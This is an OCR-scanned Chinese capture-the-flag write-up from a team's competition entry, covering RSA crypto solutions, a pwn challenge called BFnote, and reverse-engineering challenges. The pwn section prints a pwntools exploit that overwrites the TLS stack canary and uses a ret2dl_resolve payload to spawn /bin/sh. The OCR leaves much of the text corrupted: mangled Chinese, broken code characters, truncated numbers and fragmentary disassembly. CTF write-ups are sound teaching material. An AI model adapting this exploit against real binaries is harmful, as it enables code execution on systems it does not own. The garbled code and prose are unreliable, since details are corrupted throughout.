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C=4-R

N = (%)z(mod A)
N, =C!(mod 4)

_ P=nextPrime(2019* N1+ 2020%.N2)
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RIE Wilson B, (4—1)!'=—1(mod4),
BR(4—1)-(4-2)-...(A—(4-1)/2)-((4-1)/2)'=—1(mod 4) -

HA-1=-1,4-2=-2,....(4—(4-1)/2)=—(4-1)/2(mod 4) .

B,

(4-1)!

= (—1)(=2)..(—(4-1)/2)([(A-1)/2)!

= (DU (4 -1)/2)((4-1)/ 2)!(mod 4)

i 4 =3(mod4)H, 4-1=2(mod4)

B (4-1)/2=1(mod2) . FLL(-D)“ =1,

B (4-1)'=—1(mod4), 5

[((4-1)/2)']* =1(mod 4), B

[((4-1)/2)']* ~1=0(mod 4) -

([(A—1)/2)' T+ 1([((4—1)/2)!]-1) = O(mod 4) ,
= s1(mod 4) -

2

HEAAN, >0, FEEN =1, 2 ChabldSELEp),
N2H)HE TR0 T -

o, = (2

R4 Wilson EE, (4-1)!=—1(mod 4) .

N% (4-2)!'=1(mod 4)

RC=4-R,

W N, =C!=(4-R)!(mod 4)

(4-2)!=(4-2)..(4— R+1)(4—R)!=(4—2)..(C+1)C'=1(mod 4)

BN, = C1=[(4-2)..(C+1)]" (mod 4) i Chabld5Z4E )

W5% 2019 Roar CTF BabyRSA##:: https://www.cnblogs.com/wayne-tao/p/11723494.htmIf AT 5 RSA
BSH 2 — P, BEgen g%, WA E—ANRSA, 2HEFHMSEN, ed, FHH_Q=nextPrime(2020p-2019*q),
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Fact 1. Let (N, e) be an RSA public key. Given the
private key d, one can efficiently factor the mod-
ulus N = pq. Conversely, given the factorization of
N, one can efficiently recover d.

Proof. A factorization of N yields @(N). Since e
is known, one can recover d. This proves the con-
verse statement. We now show that given d, one
can factor N. Given d, compute k = de — 1. By de-
finition of 4 and ¢ we know that k is a multiple
of @(N). Since @(N) is even, k=2"'r with r odd
and t = 1. We have gk =1 for every g € Zy, and
therefore g*/2 is a square root of unity modulo N.
By the Chinese Remainder Theorem, 1 has four
square roots modulo N = pg. Two of these square
roots are +1. The other two are +x where x sat-
isfies x = 1 mod p and x = —1 mod g. Using either
one of these last two square roots, one can reveal
the factorization of N by computing ged(x — 1, N).
A straightforward argument shows that if g is
chosen at random from Zg, then with probability
at least 1/2 (over the choice of g) one of the ele-
ments in the sequence g*/2,gk/4, ...  g*/2' mod N
is a square root of unity that reveals the factor-
ization of N. All elements in the sequence can be
efficiently computed in time O(n®) where

n= log.3 N. 2 ChahldsZ=8l
(MZLINE
k=ed-1

x=pow(2,k//(2**6),n)
assert(x!=1)
p=gcd(x-1,n)

g=n//p

W 5% 2019 #1/& #F easyRSA #i¥k:
http:/isoreatu.com/ctfiwriteups/Writeup% 20for%20easyRS A% 20in%202019% E7% A5% 9E%E7%9B % BE%E6%9D% AF .html
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import sympy
from gmpy2 import gcd,invert
from Crypto.Util.number import long to_bytes

A=178378325553683086897860987080279731177949703482037199863831416769400622019877612027774190993698168284813416951"
C=178378325553683086897860987080279731177949703482037199863831416769400622019877612027774190993698168284813416951
n= 64184087817498265532685031249616963637845557711534750095705726764060097710228007291343815495502911477105170908"
ed= 5346341511242794137322595249334954790987214998603330075935903575543063587990235781949087261369283546950798489'

def fast_gen_N2(A,C):
result=1
for i in range(A-2,C,-1):
result=(result*i)%A
return invert(result,A)
N1=1
N2=fast_gen_N2(A,C)
seed1=2019*N1+2020*N2

k=ed-1
x=pow(2,k//(2**6),n)
assert(x!=1)
p=gcd(x-1,n)
q=n//p
if(p>q):
P,4=q,p
seed2=2020%p-2019*q
if seed2<0:
seed2=(-1)*seed2
_P=sympy.nextprime(seedl)
_Q=sympy.nextprime(seed2)
_N=_P*Q
_E=65537
_D=invert(_E, (_P-1)*(_Q-1))
_(C=18328870902872397665816044833651969870039845934094732215269201651316959902922251444511839965322503264154110012¢
_M=pow(_C,_D, _N)
print(long_to_bytes(_M))
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Arch: i386-32-1little

2. R IR S A B W B AE B E AT A

unsigned

3M— B, AHILAEtcbhead t.stack_guard & E B4k b (it Rcanary), 32fr Fgs# #7818 Htchb, ™
VIHETRG. ERBOAHSRKEE, & EREBEMicbhead t.stack guardtbi:, WMEB/MERAR HEK, BFEES
iR [Elerrorit H& k.
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4.1Eglibc2.23-i386 13R85 T, mainZk & itcbBR g mmap ¥l 4 4L fElibc N 746 /i L 5

x8048772

0x5badb500

A LUE ] canary?E0xf7e007 143X AN bk R4 7Elibc-2.23.sofR B B L7 . 5. %A FmallocE i AR, #size K F% mmap 3Bt B {E (BR
iME 128KB)0x2000008, malloc& ¥ Fmmap R iE W17, HEiEH A FT ALRZ S FFEEIbe B .

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA

0x8048000

0x8049000

0x80423000
oxf7bffo00e
0xf7e01000
oxf7fb1000
oxf7fb3000
oxf7fb4000
oxf7fd3000
oxf7fd4000
oxf7fd7000
oxf7fd9000e
oxf7ffcooe
oxf7ffdoee
oxfffoe000

0x8049000

0x8042000

0x804b000
0xf7e01000
oxf7fb1000
oxf7fb3000
oxf7fb4000
oxf7fb7000
oxf7fd4000
oxf7fd7000
oxf7fd90ee
oxf7ffcoo0
oxf7ffdooo
oxf7ffe000
oxffffe000

r-xp
r--p
rw-p
rw-p
r-xp
r--p
rw-p
rw-p
rw-p
r--p
r-xp
r-xp
r--p
rw-p
rw-p

1000
1000
1000
202000
1booee
2000
1000
3000
1000
3000
2000
23000
1000
1000
0000

(%] /home/boldfrev/icq/BFnote

0 /home/b0ldfrev/icq/BFnote

1000  /home/beldfrev/icq/BFnote

0

(2] /1ib/1386-1inux-gnu/libc-2.23.s0
lafeee /1lib/i386-1linux-gnu/libc-2.23.s0

1b1000 /1lib/i386-1linux-gnu/libc-2.23.s0
0

0

(%] [vvar]

(%] [vdso]

(%] /1ib/i386-1inux-gnu/1d-2.23.s0

22000 /lib/i386-linux-gnu/ld-2.23.so
23000 /lib/i386-linux-gnu/ld-2.23.so
(%] [stack]

6.1 F S8 2R i 2 7E B T a6 AR vk HH I B i Ke canary SERREA,  HBUFARIER 1#E %, 7E.bsstyiEresolve$idE, ik
notebook K /N0x200000, f#HHht7Elibc b 77; tille kK /M= s sl Hohik ptrEltcbs canary K1iw %, —IREART 45—
AN IEWE, X FIEHAnote N &8 B AT LAMESitcb canary B AA. mainifk FUR [H i SeidcanaryiG &, T8 2 HUT
dl_rutime_resolve, AR HE THRIH, RETH/EHIbssHEmMlb AT, resolveidi /R BN F| 154 &M
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from pwn import *
context(os="1linux', arch="1i386"', log_level='debug')
#[author]: beldfrev
p= process('./BFnote')
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
print "breakpoint_addr --> " + hex(text_base + 0x202040)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

sd
sl
rc = lambda

lambda s:p
lambda s:p.sendline(s)
S:p
s

.send(s)

.recv(s)
ru = lambda s:p.recvuntil(s)

sda = lambda a,s:p.sendafter(a,s)

sla = lambda a,s:p.sendlineafter(a,s)
dl_resolve_data="\x80\x21\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x12\x00\x00\x00\x37\x66\x66\x5a\x6d\x59\x50\x47
dl_resolve_call="\x50\x84\x04\x08\x70\x20\x00\x00"

canary=0xdeadbe00

postscript=0x804A060

#correct=0x804a428

payloadl="1"*@x32+p32(canary)+p32(0)+p32(postscript+4+0x3a8)

ru("description : ")

sd(payloadl)

payload2="s"*0x3a8+dl_resolve call+p32(0x12345678)+p32(postscript+0x3b8)+"/bin/sh\x00"+p64(0)+dl_resolve_data
ru("postscript : ")

sd(payload2)

ru("notebook size : ")

s1(str(0x200000))

ru("title size : ")

sl(str(0x20170c-0x10))

ru("please re-enter :\n")

sl(str(100))

ru("your title : ")

s1("2222")

ru("your note : ")

sd(p32(canary))

p.interactive()

8BFRE T Bt Esleep, FTLLEFEM/MERKcanary @i, LEIER A 2K, BIMNFIW ~ Fahfik, WRZLKITEEHER
1 Wi i~

Reverse

42 | miaonei

iR 5L FB  1 AR B string 3R Bl main sk ST 7E

int _ usercall sub_416748@<eax>(int al@<xmme
int wl; // edx
int w23 /f ecx

sub_41133E((int)Aunk_424834);

sub_411578();

sub_4112A3(std::cout, "Please input the flag: ");
sub_411136(std::cin, &unk_4212A8);

sub_411382();

sub_4114BA("Hooked!™);

sub_4112DA();

return sub_411352(v2, v1, 1, @, al);




Hookid 2 1 i %

int _ usercall sub_414C88@<eax:(int al@<xmm@:)

HMODULE wl1; // eax

int v2; // edx

int w3; /S ecx

int wa; // edx

int v5; // 5T14 4

int ve; // =Tle_4

int v7; f/ ecx

int v9; // [esp+eh] [ebp-FCh]

int v1e; // [esp+Deh] [ebp-2Ch]
int v11; // [esptDCh] [ebp-26h]
PVOID Base; // [esp+EBh] [ebp-14h]
int v13; // [espt+F4h] [ebp-8h]

int savedregs; // [esp+FCh] [ebpt@h]

sub_41133E((int)&unk_424834);

vl = 8;

vl = @etModuleHandleA{@);

Base = (PVOID)sub_411352(v3, v2, &9 == &v9, (int)vl, al);

if ( vi3 )

lpAddress = (LPCVOID)v1l;
dword_421248 = v18;

1
vS = wvd;
ve = v13;

sub_411389((int)&savedregs, (int)&dword 414D28);
return sub_411352(v7, v5, 1, v6, al);

b

2.Hook 2 J& ffiMessageBoxA 1% i #
int _ usercall sub 415D28@<eax>(int al@<xmm@:>, LPCSTR lpText)
1

int v2; // eax

int v3; // edx

int va4; /) ecx

int v5; // eax

int v6; // edx

int v7; /J/ ecx

int v3; // [esp+8h] [ebp-CCh]

sub_41133E((int)aunk_424834);

v2 = MessageBoxA(@, lpText, "Test™, @);

v5S = sub 411352(v4, v3, &9 == &v9, v2, al);
return sub_411352(v7, v6, 1, v5, al);

¥

T il o | S
0 Chizilile 5%

RIE B — 7R/ FRflagh EEEIEME
3.1% R $ 2 flag i Ab 22 bR $

int _ usercall sub_415418@<eax:>(int al@<xmma: )
1

int vl; // eax

int w2; // edx

int v3; // 5Tle 4

int wva4; // sTAC_4

int w6; // [esp+4C8h] [ebp-1Ch]

int savedregs; // [esp+4E4h] [ebp+8h]

sub 41133E((int)&unk_424834);

= 1@;
vl = sub 4112A3(std::cout, "???\n");
v3 = w23
vd = wl;

sub_411389((int)&savedregs, (int)&dword 415AC3);
return sub_411352((unsigned int)&savedregs ~ v6, v3, 1, v4, al);

o

Vi ChabldSEEEE,

WAL MIELNE

v1l3 = sub_411837(Base, "user32.dll”, "MessageBoxA", (int)sub_41156F, (int)&v11, (int)&v1e);

O ChaMldsZ & EB),




L 3 UATA ARHEF: .rOataisTru_sL04U640

mov esp, [ebpt+ms_exc.old_esp]

push BABh ; Size

push a ; val

lea eax, [ebp+Dst]

push eax ; Dst

call j_memset

add esp, @Ch

mav eax, ds:dword_41ECF2

mav [ebp+var_254], eax

mov ecx, ds:dword_41ECFC

mav [ebp+var_258], ecx

mov edx, ds:dword_41EDES@

mav [ebp+var_24C], edx

mov eax, ds:dword_41ED84

mov [ebptvar_248], eax

mov [ebptvar_2DC], @

mov [ebpt+var_2£8], @

push offset unk_421248

lea eax, [ebp+5tr]

push eax

call sub_411348

add esp, 8

mov [ebp+var_2DC], @

mov [ebp+var_2E8], @

lea eax, [ebp+str]

push eax 3 St

call j_strlen

add esp, 4

mav [ebp+var_208], eax

cmp [ebp+var_2D08], 22h . ) _
jle short loc_415561 i Challd 524 [5),'-.
push offset alengthIsSolong ; "length is so long!in” ~—d T :
mov eax, ds:?cout@std@@3v?$basic_ostream@DU?$char_traits@D@std@@@l@s ; std::basic_ostream<char,std::char_traits<char>> std::cout

HEflagit BE EZ R L, HA T T HEKREEH

mov ecx, dword ptr [ebp+var_294+4]
xor ecx, 11DC370h

mov [ebp+var_2B4], eax

mov [ebp+var_2B@], ecx

. Chailds

xarps Kmme, wmme

a. by cENRERE, HHNI2KEHR.



a=-80538473123155825
b=80435312222756674
c=12602435109592424
lift="3nder5tandf10@t"

numl=a~-80538738812075974
num2=b"80435758145817515
num3=c”12602123297335631

print(hex(numl),num2,num3)
array=[]
str_flag=""

for i in range(5):
array.append(num3&0xff)
num3=num3>>8
for i in range(5):
array.append(num2&0xff)
num2=num2>>8
for i in range(5):
array.append(numl&0xff)
numl=numl>>8
array.reverse()
print(array)
new=0
for i in range(len(array)):
str_flag+=hex(ord(lift[i])”array[i])[2:]
str_flag=list(str_flag)
str_flag.insert(7,'-")
str_flag.insert(12,"'-"'
str_flag.insert(17,"'
str_flag.insert(22,"

)
)
)
str_flag="".join(str_flag)

print("flag{"+str_flag+"}")

Code2 | PureT
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1061624946 ;
= 1063489881 ;
i 6,

= 912417080;

14137;
= 1038323257,
= 1838323257;
("input the key:

s s , Bx63ui6d);

-1i64;

 EE NN ENENNNENDRNDHN,]

do

++VE

while (

Pi64;

".—'i"!!—..I'\'___,-\_:'I]" PM7 0
Pi6a;

malloc(@x31ui64d);
"

&b ChaMd5Z £ HRA

| ) = 1;
( 1 >> 2) & 3;
= (unsigned int)

"

(__int6a)&

A4i64;
(unsigned int)(
= A -- & 3;
( DWORD *)( ¢ 4)

= *(_DWORD *)(
while ( (_DWORD)
= ((va

+= -@XOE3IZTOB0 ;

9i6a;

R ChaMd5Z2HIA

SAERTHE R B XXTEA KB R 5 — ML 4R




LIEAE »
= 1838323257,
("input the key: \n");
» Bx63uibd);

= @i64;

= "tiDBHSFrQBlPMz00zXx7sQWbo77GjGFH/FAEQZ8R6HULYb+0QNOpTSCWAIGWWRD3b™ ;
0i64;
malloc(@x31ui6d);

v ( ..___.;l_;ntmhﬂl ; ¥ ChaMd5% £ HIBA

I

1__int64 sub_140001890()
24
3 float ve; // xmm7_4
4 float vi; // xmm2_4
5 char *v2; // r8
6 _ intea v3; // rb
7 int va; // ecx
8 _ intea vs; // rax
9 float ve; // xmme 4
18 double v7; // ¥mm&_8
11 float v8; // xyml_4
12 int v9; // eax
13 float viae; // {xmm1_4a
14  int64 result; // rax
15 int *vi12; // pdx
16 int v13; // dcx
__intea via;)// rdx
18 DWORD *vi5;| // rcx
19
20 v 0.0;
21 vl = 1.9;
22 i >0 )
23
24 v g
25 v3 (unsigned int)
26
27
28 v = @3
29 v5 = @i64;
30 while ( *v2 I= *(_BYTE *)(v5 + @x140@058E@i64) )
31 {
32 ++va
33 ++V5;
34 if (va >=6)
35 goto LABEL_8;

@& ChaMdsR£HFA




f——s(—OWORD-*)

while ( *((_BYTE *)&u168

I
L

BYTE *)&N166

1

J »,

if ( 1*((_BYTE \¥)&UWIE6
+= 2i64;

break;

1

J : .

if ( I*((_BYTE *)&UI8E

~ O n B W N

3]

+= 3i64;

break;

+= 4i64;
>= 8x1e )

for (1= ; 1 < exle; ++1i
*((_BYTE *) + = 0;

i, (unsigned _ ints *)&MEEE, (_ inte4)&vies);

return @;

4 MR EIVERAE IR A 2 — B 5% 2 arithmetic coding

@ ChaMd5=£HFBA




()]

l E * (. (I
@ + (float)(ve * *((float *)&

&

W W
|

©

@ LABEL_8:
+4+v2;
while ( v3 );
(ve - ©.129556) > ©.000001 )

fou are wrongl”);

if (ve >= 1.0 )
break;

@& ChaMdsZ= 2 HBA
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"tiDBHSFrQBlPM
5 = @ied;

malloc(@x31ui6d);

(__inte4)v71;

[*(unsigned

intg *)v

int8 *)(v7e
7

*((unsigned
(unsigned

(v79);
v74 + 1;
v8l = *v78;

*y78 1= 61 )

00000830|main:236 (140001620)| |

IR TR
dword 140003C99 dd
align -
.rdata:0000000140003CA0 xmmword 140003CA0 xmmword
000000140003 CAD
xmmword 140003CBe xmmword

.rdata:

xmmword 148003CCe xmmword

stru 140003CD8 FuncInfo <

stru_140003CF8 FuncInfo <1

z00zx7sQWbo77G]jGFH/

FAEQZS8RE6HULYb+0QnOpTSCWA9GWWRD3b" ;

__int8 *)v70];
7¢ + 1);
+2);
[v77] + (v76

£<.6)) <% 12;

3

b}

[v81] << &)) >> 8;

@& ChaMds=Z£HR

, Irva ftru_iueﬂﬂdjno

¥ ChaMde.rﬁlBA

rva stru_ 14@@0ﬁ558




Ox3FA471C72;
= Ox3F638E390;

©x3DE38E39,;
= 1838323257,
("input the
, Bx63uied);

R chaMd5= £ HRA

& ChaMdSRLER

o ChaMd5Z2H A

BT E
ChaMd5 ctféH. K HA##7
Jt H R crypto+reverse+pwn+& £ [ K F

KM EE R admin@chamd5.org






	差异基因p为0_【i春秋杯网络安全联赛WriteUp】为逆行者加油
	Misc
	磁盘套娃 | Adolph

	Crypto
	simple_math | Shimmer

	Pwn
	BFnote | b0ldfrev

	Reverse
	42 | miaonei
	Code2 | PureT



